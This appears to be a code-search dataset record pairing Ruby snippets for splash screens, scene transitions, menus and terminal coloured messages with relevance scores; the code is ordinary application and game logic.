"def splash_screen(application)\r\n\t# select a random splash image to display\r\n\timages = Dir['./splash/*.{PNG,png}']\r\n\ticon = load_icon(images[rand(images.length())], application)\r\n\r\n\t# the splash screen dialog\r\n\tsplash = FXDialogBox.new(application, nil, FRAME_LINE,\r\n\t\t\t\t\t\t\t:padLeft => 0, :padRight => 0, :padTop => 0, :padBottom => 0)\r\n\t\r\n\t# frame to hold the splash screen components\r\n\tframe = FXVerticalFrame.new(splash, LAYOUT_FILL_X)\r\n\t\r\n\t# the main label that holds the splash image and application title\r\n\tlabel = FXLabel.new(frame, 'CS 1300 Ruby Hangman', icon, \r\n\t\t\t\t\t\t:opts => TEXT_BELOW_ICON | JUSTIFY_LEFT)\r\n\tlabel.font = FONT['Courier 24 bold']\r\n\r\n\t# People tell me I like to talk... so let's add a chatty message\r\n\tmessage = [\r\n\t\t'', \r\n\t\t\"Guess the word in #{MAX_GUESSES} tries, or you\\'ll swing!\",\r\n\t]\r\n\t\r\n\tFXLabel.new(frame, message.join(\"\\n\"), :opts => JUSTIFY_LEFT | TEXT_AFTER_ICON) do |theLabel|\r\n\t\ttheLabel.font = FONT['Helvetica 12']\r\n\tend\r\n\r\n\t# set the splash screen to display for 5 seconds\r\n\tapplication.addTimeout(5000, :repeat => false) do\r\n\t\tsplash.close()\r\n\tend\r\n\t\r\n\t# fire it up\r\n\tsplash.execute(PLACEMENT_SCREEN)\r\nend",
"def setup_screen_fadeout\n $game_troop.screen.start_fadeout(@acts[1] || 30)\n end",
"def intro\n system 'clear'\n intro = PicDisplay.new\n intro.logo\n sleep(4)\n welcome\n end",
"def splash_settings\r\n SplashSettingsController.instance\r\n end",
"def test_splash_page\n false\n end",
"def dispose_splashscreen\r\n @sprite.bitmap.dispose\r\n @sprite.dispose\r\n end",
"def reset_screen\n clear_screen\n move_to_home\nend",
"def reset_screen\n clear_screen\n move_to_home\nend",
"def main_transition\r\n Graphics.transition(120)\r\n end",
"def splashScreenFriendfunction(splahsScreenObject)\n @splashScreenFriendObject = splahsScreenObject\n end",
"def start_scene; end",
"def startLoadingScreen _args\n \"startLoadingScreen _args;\" \n end",
"def show_splash_screen?\n (browser.platform.android? || browser.platform.ios?) && cookies['splash-screen'] != 'hidden'\n end",
"def index\n @splashscreens = Splashscreen.all\n end",
"def main_begin\n create_graphics\n sort_sprites\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n end",
"def splash\n @logged_in_user = User.find_by :id => session[:user_id]\n end",
"def reset_screen!\n clear_screen!\n move_to_home!\n end",
"def splash_image_url\n self.splash_image ? self.splash_image.convert('-resize 50%').url : '/assets/campaigns/splash_default.jpg'\n end",
"def run_normal\n welcome_header\n main_menu \n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n create_command_window()\n @status_window = Window_Party_Status.new(0, 0, 480,424, $game_party.members)\n @menu_info_window = Window_Menu_Info.new(0,424,640,56)\n end",
"def show\n\t\[email protected]\n\tend",
"def splash\n\n#\t\tif (signed_in? && !params.has_key?(:logout)) # signed in user is not logging out\n\t\tif (signed_in?) # signed in user\n\t\t\tredirect_to home_path\n\t\telse\n#\t\t\tif (signed_in? && params.has_key?(:logout) && params[:logout] = true) # signed in user is logging out\n#\t\t\t\tsign_out\n#\t\t\tend\t\n\n\t\t\t@user = User.new # in case new user signs up\n\t\t\t\n\t\t\t# returns a Activerecord relation vs. a model instance - http://stackoverflow.com/questions/6004891/undefined-method-for-activerecordrelation\t\n\t\t\t@videos = Video.get_videos.where(\"live = ?\", false).where(\"status = ?\", \"finished\")\n#\t\t\t@venues = @venues.order(\"RANDOM()\")\n#\t\t\t@venues = @venues.limit(5) \t\t\n\t\t\t\t\n\t\t\t# Use Amazon AWS SDK methods (.new and .url_for) to get a url to the S3 object (the thumbnail)\n\t\t\ts3 = AWS::S3.new(:access_key_id => ENV['AWS_KEY_ID_READ'], :secret_access_key => ENV['AWS_KEY_VALUE_READ'])\n\t\t\t@bucket = s3.buckets[ENV['AWS_BUCKET']]\n\t\t\t# Code concepts below should be used in views/index.html.erb\n\t\t#\tobject = @bucket.objects['uploads/video/attachment/191/uploadify_test.png']\n\t\t#\t@url = oject.url_for(:get, { :expires => 1200.minutes.from_now, :secure => true }).to_s\n\n#\t\t\t@user = User.new\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html\n\t\t\t\tformat.js { render :template => 'sessions/destroy.js.erb'}\n#\t\t\t\tformat.js { render js: \"alert('Hello Rails');\"}\n\t\t\tend\n\n\t\tend\t\t\n\tend",
"def splashscreen\n\t\n\tprogressbar_score = 0\n\t\n\t#create WebDialog UI\n\tsplashscreen_width =677 #660\n \tsplashscreen_height = 435 #420\n \t\n\t#get sreen size to set the position of UI\n \t$c = Sketchup.active_model.active_view.center\n\t\n \t$dlgSplashScreen = UI::WebDialog.new(\"-=- GESTURE -=-\", false, \"GESTURE\", splashscreen_width, splashscreen_height, $c[0]-splashscreen_width/2, $c[1]-splashscreen_height/2, true);\n \t$dlgSplashScreen.set_file File.dirname(__FILE__) + \"/GESTURE/Control/splashscreen.html\"\n\t\n\t\n\t$dlgSplashScreen.min_height = 435\n \t$dlgSplashScreen.min_width = 677\n\t$dlgSplashScreen.max_height = 435\n \t$dlgSplashScreen.max_width = 677\n\t\n\t$dlgSplashScreen.set_position $c[0]-splashscreen_width/2, $c[1]-splashscreen_height/2\n\t$dlgSplashScreen.set_size splashscreen_width, splashscreen_height\n\t\n\t$dlgSplashScreen.show\n\t#splashscreen stucks on the top\n\t$dlgSplashScreen.show_modal\n\t\n\t#callback to get the video status\n\t$dlgSplashScreen.add_action_callback(\"SPLASHSCREEN_VID\") do |js_wd, message|\n\t\t#1 video ended\n\t\t#useless\n\t\t#splashscreen_video=message.to_i\n\t\t# just +1 to update\n\t\tprogressbar_score = progressbar_score + 70\n\t\tupdate_progress(progressbar_score)\n\tend\n\n\t# Test Kinect Connection\n\t\n\t# Get Sketchup environment data\n\t$SUversion = Sketchup.version\n\t$model = Sketchup.active_model\n\t$titlemodel = $model.title\n\t$materials = $model.materials\n\t$objects = $model.active_entities\n\t$number_obj = $model.active_entities.length\n\t\n\t$view = $model.active_view\n\t$camera = $view.camera\n\t$eye = $camera.eye\n\t$target = $camera.target\n\t$up = $camera.up\n\t$direction = $camera.direction\t\n\t#log(2,\"###SketchUp Object\")\n\tlog(2,'SU Version: '+$SUversion.to_s)\n\t##lo\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\t#Ruby resources\n\t$rb=RUBY_VERSION\n\tlog(2,'###RUBY RESOURCES')\n\tlog(2,'Ruby Version :'+$rb.to_s)\n\tif File.exist?($LOAD_PATH[3]) && File.exist?($LOAD_PATH[2]) && $rb==\"1.8.6\"\n\t\t$rbres=true\n\t\tlog(2,\"Load Path updated: All OK\")\n\telse\n\t\t$rbres=false\n\t\tlog(2,\"Load Path updated: NOT OK\")\t\t\n\tend\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\n\t\n\t# Load C++ module\n\tidCpp=UI.start_timer(0,false){\n\t\t$CppLaunch = UI.openURL(\"C:/Program Files (x86)/Google/Google SketchUp 8/Plugins/GESTURE/Interpretation/GESTURE/x64/Release/GESTURE.exe\")\n\t}\n\tif $CppLaunch \n\t\tlog(2,\"Load GESTURE.exe: OK\")\n\telse\n\t\tlog(2,\"Load GESTURE.exe: NOT OK\")\n\tend\n\tprogressbar_score = progressbar_score + 10\n\tupdate_progress(progressbar_score)\n\t\n\t# Create TCPServer\n\t$hostname = 'localhost'\n\t$port = 2000\n\tputs \"Establishing a connection...\"\n#\t$streamSock = TCPSocket.new($hostname, $port)#TCPSocket.new( \"127.0.0.1\", 20000 ) \n\n\tidsocket=UI.start_timer(2.0,false){\n\t\tputs \"new thread start\"\n\t\t\n\t\t\n\t\t#loop{\n\t\t$streamSock = TCPSocket.new($hostname, $port)\n\t\t$strr = $streamSock.read(120)\n\t\t#strr = $streamSock.recv(120)\n\t\t$order=$strr.split('/')\n\t\tputs $order[0]\n\t\tif $order[0].include? \"hello\"\n\t\t\tUI.stop_timer(idsocket)\n\t\t\t$SocketTest=true\n\t\tend\n\t#TCPSocket.new( \"127.0.0.1\", 20000 ) \n\t\tputs \"Connection established\"\n\t#while ($streamSock == nil)\n#\t\t$streamSock = TCPSocket.new($hostname, $port)#TCPSocket.new( \"127.0.0.1\", 20000 ) \n#\tend\n\t\n\t\t#}\n\t}\n\tif $streamSock != nil\n\t\t$SocketTest=true\n\t\t\n\telse\n\t\t$SocketTest=true\n\tend\n\t\n\t\n\t#test all component\n\t\n \t\t\n \t#if user closes splashscreen???\n \tputs $dlgSplashScreen.visible?\n\n \t# test progressbarscore==100%\n#\tdlgSplashScreen.close\n #\t menu\n \t\nend",
"def main_end\r\n # Refresh map\r\n $game_map.refresh\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n # If switching from battle test to any screen other than game over screen\r\n if $BTEST and not $scene.is_a?(Scene_Gameover)\r\n $scene = nil\r\n end\r\n end",
"def splash_displayed?\n displayed? SPLASH_VIDEO\n end",
"def home()\[email protected]\n @titleLabel.setVisible(true)\n @actionNew.setVisible(true)\nsetWindowTitle('Internet Cafe Customer Management System (I.C.C.M.S.) by SAFEW')\nend",
"def main_transition\r\n Graphics.transition\r\n end",
"def welcome_screen\n puts \"Bienvenue dans la secret place !\"\nend",
"def loading_screen\n @loading_screen\n end",
"def home\n #sleep(60)\n end",
"def on_appear\n d = EM::DefaultDeferrable.new\n d.errback do \n screen = mm_drawerController.send(:week_screen)\n mm_drawerController.centerViewController = screen\n end\n d.timeout 2 \n end",
"def landing\n \n end",
"def landing\n \n end",
"def welcome\n # show welcome\n end",
"def center_splashscreen(sprite)\r\n sprite.x = Graphics.width / 2\r\n sprite.y = Graphics.height / 2\r\n sprite.ox = sprite.bitmap.width / 2\r\n sprite.oy = sprite.bitmap.height / 2\r\n end",
"def on_load_success\n fadeout_all\n $game_system.on_after_load\n SceneManager.goto(Scene_Map)\n end",
"def main_end\r\n super\r\n # Execute transition\r\n Graphics.transition(40)\r\n # Prepare for transition\r\n Graphics.freeze\r\n # If battle test\r\n if $BTEST\r\n $scene = nil\r\n end\r\n end",
"def call_load_screen\n SceneManager.call(Scene_Load)\n end",
"def game_start\n opening\n first_menu\n end",
"def create\n @splashscreen = Splashscreen.new(splashscreen_params)\n\n respond_to do |format|\n if @splashscreen.save\n format.html { redirect_to splashscreens_url, notice: 'Splashscreen was successfully created.' }\n format.json { render :show, status: :created, location: @splashscreen }\n else\n format.html { render :new }\n format.json { render json: @splashscreen.errors, status: :unprocessable_entity }\n end\n end\n end",
"def start_game\n #present the start button and title and image\n @stack = @shoes.stack left: 200 do\n @prompt = @shoes.title( \"Blackjack\",\n stroke: $WHITE,\n align: \"center\")\n @author = @shoes.para( \"By: Thomas Tracy\",\n stroke: $WHITE,\n align: \"center\")\n @toBegin = @shoes.title( \"Click the cards to begin!\",\n stroke: $WHITE,\n align: \"center\")\n @splashImage = @shoes.image(\"View_application/blackjack_splash.png\").move( 350, 250)\n\n #once the start button is clicked, remove the splash and start the game\n @splashImage.click do\n #remove splash\n @stack.clear\n @splashImage.clear\n #create the game view\n newGame = GameView.new(@shoes)\n newGame.create_gameView\n end #end click\n end #end stack\n end",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @item_back_window = Window_Base.new(0, 56, 640, 328)\n @dataviews_window = Window_Dataviews.new(0, 56, 640, 56, MENU_CONFIG::ITEM_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @item_window = Window_Item.new(0, 96, 640, 272, $game_party.items, @dataviews_window.selected_view)\n @item_window.opacity = 0\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n update_detail_window(@item_window.selected_item)\n \n @target_window = Window_Party_Status.new(0, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end",
"def landing_page\n if current_user\n redirect_to actions_path(current_user[:id])\n end\n end",
"def start_screen_appear\n mp \"bringing up start screen\"\n start_screen_video\n view_object.addStartscreenappearAnimationReverse(false, totalDuration: 0.5)\n #view_object.addDialselection5to1AnimationReverse(false, totalDuration: 0.5)\n cueserver.spectrum_1\n end",
"def landing\n end",
"def landing\n end",
"def landing() end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @skill_back_window = Window_Base.new(200, 56, 440, 328)\n @dataviews_window = Window_Dataviews.new(200, 56, 440, 56, MENU_CONFIG::SKILL_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @status_window = Window_Skill_Status.new(0, 0, 200, 128, @actor)\n \n @skill_window = Window_Skill.new(200, 96, 440, 272, @actor, @dataviews_window.selected_view)\n @skill_window.opacity = 0\n @skill_window.help_window = @help_window\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96,nil)\n @skill_details_window.visible = false\n @skill_window.detail_window = @skill_details_window\n \n @target_window = Window_Party_Status.new(140, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @skill_back_window = Window_Base.new(200, 56, 440, 328)\n @dataviews_window = Window_Dataviews.new(200, 56, 440, 56, MENU_CONFIG::SKILL_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @status_window = Window_Skill_Status.new(0, 0, 200, 128, @actor)\n \n @skill_window = Window_Skill.new(200, 96, 440, 272, @actor, @dataviews_window.selected_view)\n @skill_window.opacity = 0\n @skill_window.help_window = @help_window\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96,nil)\n @skill_details_window.visible = false\n @skill_window.detail_window = @skill_details_window\n \n @target_window = Window_Party_Status.new(140, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def ios_splash_tag(url, options={})\n rel = 'apple-touch-startup-image'\n\n tag :link, { :rel => rel, :href => url }.merge(options)\n end",
"def endLoadingScreen \n \"endLoadingScreen\" \n end",
"def show_window\r\n if visible?\r\n bring_to_front()\r\n else\r\n show_modal()\r\n end\r\n end",
"def post_transfer\n case $game_temp.fade_type\n when 0\n Graphics.wait(fadein_speed / 2)\n fadein(fadein_speed)\n when 1\n Graphics.wait(fadein_speed / 2)\n white_fadein(fadein_speed)\n end\n create_location_window unless $game_map.display_name.empty?\n @map_name_window.open if @map_name_window\n end",
"def on(cls, &block)\n @current_screen = @current_page = cls.new\n wait_until { @current_screen.active? } if @current_screen.respond_to?(:active?)\n block.call @current_screen if block\n @current_screen\n end",
"def setup_fadein\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n sprite.fadein(@acts[1])\n end",
"def display_poison_animation\n Audio.se_play('Audio/SE/psn')\n $game_screen.start_flash(GameData::Colors::PSN, 20)\n $game_screen.start_shake(1, 20, 2)\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @title_window = Window_Outline_Title.new(0, 0, 640, 56)\n @content_window = Window_Outline.new(0, 56, 640, 424)\n \n # Create Window \n @list_window = Window_Outline_List.new(0, 0, 400, 400, Vocab::tutorials_strings)\n width_remain = (640 - @list_window.width)/2\n @list_window.x = width_remain.floor\n height_remain = (480 - @list_window.height)/2\n @list_window.y = height_remain.floor\n end",
"def go_game\n #RPG::BGM.fade(30)\n #Graphics.fadeout(30)\n #Graphics.frame_count = 0\n DataManager.autosave(true, false)\n SceneManager.goto(Scene_Map)\n #$game_system.on_after_load\n end",
"def viewDidLoad\n super\n self.view = sk_view\n # The first time the app is loaded. Present scene one.\n present_scene_zero\n $controller = self\n end",
"def launch_UPgame_4\n sleep 0.5\n scroll_to_collection_view_item_with_mark('casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent', {:scroll_position => :right})\n sleep 1\n touch \"* marked:'casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent'\"\n sleep 1\n touch \"* marked:'Play for Fun'\"\n wait_for_element_exists \"webView css:'.interface-toggleSwitch_loadAnimation'\", :timeout => 10\n\n touch (\"webView css:'.interface-toggleSwitch_loadAnimation'\")\n sleep 3\n touch \"webView css:'.interface-homeButton_baseButton'\"\n sleep 0.5\n\n\n end",
"def on_load_success\r\n Sound.play_load\r\n fadeout_all\r\n $game_system.on_after_load\r\n SceneManager.goto(Scene_Map)\r\n end",
"def display_splash_text\n splash = Artii::Base.new :font => 'slant'\n puts splash.asciify('Country Trivia').blue\n splash\n end",
"def pause; self.app.pause end",
"def start\n # start a timer on scene load\n @timer.reset_timer\n case @scene\n when 'intro'\n start_intro\n when 'level'\n start_level\n when 'transition'\n start_transition\n when 'credits'\n start_credits\n end\n end",
"def viewWillAppear(animated)\n super\n \n @image_view.startAnimating\n \n # for aesthetic reasons (the background is black), make the nav bar black for this particular page\n self.navigationController.navigationBar.tintColor = UIColor.blackColor\n end",
"def resume\n\n end",
"def pre_transfer\n @map_name_window.close if @map_name_window\n case $game_temp.fade_type\n when 0\n fadeout(fadeout_speed)\n when 1\n white_fadeout(fadeout_speed)\n end\n end",
"def redirect_to_main_screen\n redirect_to Redmine::Utils::relative_url_root + '/settings/plugin/redmine_tracker_status_trigger'\n end",
"def goto_title(delay = 30)\r\n fadeout_all\r\n Graphics.wait(delay)\r\n SceneManager.goto(Scene_Title)\r\n end",
"def resume\n end",
"def resume\n end",
"def initialize\n\n #Graphics.freeze\n\n @closing = false\n @savequit = false\n\n $mouse.change_cursor('Default')\n sys('open')\n\n # Vp\n @vp = Viewport.new(0,0,$game.width,$game.height)\n @vp.z = 3500\n\n @snap = Sprite.new(@vp)\n @snap.z = -101\n @snap.bitmap = $game.snapshot\n\n # Background\n @bg = Sprite.new(@vp)\n @bg.z = -100\n #@bg.bitmap = Bitmap.new(640,480)\n #@bg.bitmap.fill(Color.new(0,0,0,180))\n @bg.bitmap = $cache.menu_background(\"sample\")\n #@bg.bitmap = $cache.menu_background(\"witch\")\n @bg.opacity = 0\n \n #@bg.y = 30\n #@bg.do(seq(go(\"y\",-50,150,:qio),go(\"y\",20,150,:qio)))\n\n #self.do(delay(300))\n\n @next_menu = $menu.menu_page\n $menu.menu_page = nil\n\n @menu = nil\n\n #Graphics.transition(20,'Graphics/Transitions/trans') \n\n end",
"def fadeIn\n @fadingIn = true\n end",
"def full_screen; end",
"def to_login_server\n MenuControllerContracts.invariant(self)\n @current_view = @views[4]\n MenuControllerContracts.invariant(self)\n end",
"def home\n if logged_in?\n redirect_to user_path(current_user) # Redirect to user show page if logged in\n else\n render layout: 'welcome' # Render home view with welcome layout\n end\n end",
"def run\n # welcome\n login_or_signup\n main_menu\n end",
"def splash_login_attempts\r\n SplashLoginAttemptsController.instance\r\n end",
"def splash()\n\t\[email protected]('/')\n\t\[email protected]('/var/widgets.json?callback=define')\n\t\[email protected]('/system/me?_charset_=utf-8')\n\t\[email protected]('/tags/directory.tagged.json?_charset_=utf-8&_=1342651726188')\n\t\[email protected]('/var/search/activity/all.json?items=12&_charset_=utf-8&_=1342651726197')\n\t\[email protected]('/var/search/public/random-content.json?page=0&items=10&tag=&type=c&_charset_=utf-8&_=1342651726201')\n\t\[email protected]('/var/templates/worlds.2.json?_charset_=utf-8')\n end",
"def handle_display\n display_login(MAIN_LOGIN)\n end",
"def push_relaunch\n\t\trequire \"config/initializers/launch_juggernaut.rb\"\n\t\trender :nothing => true\n\tend",
"def quit\n ::HawkLoginController.load_into @stage, :width => 517,\n :height => 374\n\n @stage.min_width = 500\n @stage.min_height = 300\n\n @stage.size_to_scene\n end"
] |
[
"0.7675753",
"0.6858375",
"0.6599237",
"0.64309514",
"0.6415116",
"0.6329779",
"0.6251206",
"0.6193508",
"0.6186813",
"0.6167906",
"0.61110425",
"0.60851675",
"0.6083918",
"0.60745895",
"0.5965515",
"0.5965515",
"0.5952367",
"0.5934509",
"0.5804622",
"0.57274485",
"0.5720805",
"0.56813365",
"0.5666736",
"0.5666736",
"0.565607",
"0.5623269",
"0.5539103",
"0.55313885",
"0.55038315",
"0.54727715",
"0.5470817",
"0.5468562",
"0.54458094",
"0.5422921",
"0.5414301",
"0.5401329",
"0.538051",
"0.5348994",
"0.53243387",
"0.5318049",
"0.53138345",
"0.5305204",
"0.5278265",
"0.5261749",
"0.5256142",
"0.52519953",
"0.5244279",
"0.5221968",
"0.5221968",
"0.5210503",
"0.52042425",
"0.5197443",
"0.5195432",
"0.5191839",
"0.51791406",
"0.5169294",
"0.51668894",
"0.51560366",
"0.51560366",
"0.51373833",
"0.51324",
"0.51253486",
"0.51241326",
"0.51241326",
"0.51144475",
"0.51130456",
"0.51130456",
"0.5105587",
"0.5104631",
"0.5095926",
"0.5086358",
"0.5070008",
"0.5068177",
"0.506101",
"0.5046888",
"0.504385",
"0.5036791",
"0.5023477",
"0.5016066",
"0.50064075",
"0.49993703",
"0.4998262",
"0.4990977",
"0.49887076",
"0.49730074",
"0.4971798",
"0.49621007",
"0.49501553",
"0.49501553",
"0.4949679",
"0.49473602",
"0.49450064",
"0.49426204",
"0.4938979",
"0.49372438",
"0.4935935",
"0.49352583",
"0.49284917",
"0.49262708",
"0.49212256"
] |
0.7737489
|
0
|
A default msg method in case the termansicolor gem isn't installed...
|
def msg(m, fg = nil, bg = nil)
m
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def error_message( msg, details='' )\n\t\t\t$stderr.puts colorize( 'bold', 'white', 'on_red' ) { msg } + details\n\t\tend",
"def error(msg)\n puts \"\\e[0;31m#{ msg }\\e[0m\"\n end",
"def error_message( msg, details='' )\n\t\t$stderr.puts colorize( 'bold', 'white', 'on_red' ) { msg } + ' ' + details\n\tend",
"def error(msg)\n puts red(bold(\"[!] #{msg}\"))\n end",
"def warning(text)\n puts color.colorize(text, :yellow)\n end",
"def print_error(msg)\n puts \" #{color(\"!\", 33)} #{color(msg, 31)}\"\n end",
"def invalid_color_msg(_clr)\n ''\n end",
"def invalid_color_msg(_clr)\n ''\n end",
"def method_missing(name, *args)\n if @colours.include? name\n \"#{@colours[name]}#{args[0]}\\033[0m\"\n else\n \"#{@default}#{args[0]}\\033[0m\"\n end\n end",
"def red(msg)\n \"\\033[31m#{msg}\\033[39m\"\nend",
"def error(msg)\n puts \"\\n#{@red}[Error] #{msg}!#{@ncl}\\n\"\n end",
"def say_error(*args)\n args.each do |arg|\n say HighLine.default_instance.color(arg, :red)\n end\n end",
"def msg(text, level = :info)\n case level\n when :warn\n puts \"\\e[31m#{text}\\e[0m\"\n else\n puts \"\\e[33m#{text}\\e[0m\"\n end\nend",
"def msg(text, level = :info)\n case level\n when :warn\n puts \"\\e[31m#{text}\\e[0m\"\n else\n puts \"\\e[33m#{text}\\e[0m\"\n end\nend",
"def msg(type, text)\n case type\n when \"exit\"\n print(\"[\\033[31mEXIT\\033[0m] #{text}\\n\")\n when \"ok\"\n print(\"[\\033[32m OK \\033[0m] #{text}\\n\")\n when \"warn\"\n print(\"[\\033[33mWARN\\033[0m] #{text}\\n\")\n else\n print(\" #{text}\\n\")\n end\nend",
"def bold_error(*args)\n color('1;31', *args)\n end",
"def print_stderr(msg)\n puts \" #{color(msg, 31)}\"\n end",
"def warning(*args)\n color(33, *args)\n end",
"def display_error(message)\n puts \"\\e[31;1m[ERROR]\\e[0m #{message}\"\n end",
"def error( text )\n\t\tmessage( self.prompt.color(text, :error) )\n\tend",
"def error_color(text)\r\n \"<font color=red>#{text}</font>\"\r\n end",
"def error(message)\n message = message.red unless message.color?\n puts(stderr, message)\n end",
"def error(*args)\n color(31, *args)\n end",
"def puts_warning(msg)\n $stdout.puts \"\\e[33m[WARNING] #{msg}\\e[0m\" if Calamum::Config[:debug]\nend",
"def say_error(string)\n HighLine.new.say(\"\\n<%= color('#{string}', :error ) %>\\n\")\n end",
"def puts_err(msg)\n STDERR.puts(msg.to_s.red)\n end",
"def help(msg)\n @console.info(msg.cyan)\n end",
"def message text, type=:warning\n colString = ''\n colReset = \"\\033[0m\"\n offset = \"\\033[14C\"\n\n case type\n when :warning\n colString = \"\\033[1;33m\"\n when :error\n colString = \"\\033[1;31m\"\n end\n\n message = \"#{colString}#{offset}middleman-gnuplot: #{text}#{colReset}\"\n\n puts message\n end",
"def error(*args); say $terminal.color(format(*args), :red); end",
"def msg(m, fg = nil, bg = nil)\n m\n end",
"def fail(text)\n puts \"#{text}\".foreground(:red)\n end",
"def color\n if not @title\n 'blank'\n elsif @warnings\n 'missing'\n elsif @missing\n 'missing'\n elsif @approved\n if @approved.length < 5\n 'ready'\n elsif @comments\n 'commented'\n else\n 'reviewed'\n end\n elsif @text or @report\n 'available'\n elsif @text === undefined\n 'missing'\n else\n 'reviewed'\n end\n end",
"def warning(text)\n STDERR.puts yellow_term_text(text)\n end",
"def puts_error(msg)\n warn \"\\e[31m[ERROR] #{msg}\\e[0m\" if Calamum::Config[:debug]\n exit(1)\nend",
"def output(message, type)\n puts \"\\e[31m[ ✘ ]\\e[0m #{message}\" if type == 'error'\n puts \"\\e[32m[ ✔︎ ]\\e[0m #{message}\" if type == 'success'\n puts \"\\e[33m[ ✻ ]\\e[0m #{message}\" if type == 'info'\nend",
"def err(msg)\n puts msg.red\n exit(1)\n end",
"def error(text)\n STDERR.puts red_term_text(text)\n end",
"def error(message)\n STDERR.puts red(message)\n end",
"def say_warning(*args)\n args.each do |arg|\n say HighLine.default_instance.color(arg, :yellow)\n end\n end",
"def warning text\n print_red(\"WARNING: #{text}\") \n end",
"def warning text\n print_red(\"WARNING: #{text}\") \n end",
"def warn(*args); say $terminal.color(format(*args), :magenta); end",
"def puts_color( msg, color=nil )\n color_set( color ); puts msg; color_end\n end",
"def say_blue( msg, options=[] )\n options = options.unshift( '' ) unless options.empty?\n say \"<%= color(%q{#{msg}}, CYAN #{options.join(', ')}) %>\\n\" unless @silent\n end",
"def cprint (msg = \"\", color = \"\")\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # This little check will allow us to take a Constant defined color\n # As well as a [0-256] value if specified\n if (color.is_a?(String))\n debug_print \"Custom color specified for cprint\\n\"\n STDOUT.write(color)\n elsif (color.between?(0, 256))\n debug_print \"No or Default color specified for cprint\\n\"\n STDOUT.write(\"\\e[38;5;#{ color }m\")\n end\n\n STDOUT.write(msg)\n end",
"def menu_error\n system(\"clear\")\n puts Spacer\n puts \"Sorry! I didn't understand that.\".colorize(:red)\n end",
"def red(text)\n colorize text, \"\\033[1;31m\"\n end",
"def missing_field( err = 'none', color: '#d2d2d2' )\n \"<em style='color: #{color};'>(#{err})</em>\".html_safe\n end",
"def msg(message)\n puts message unless nagios_mode?\n end",
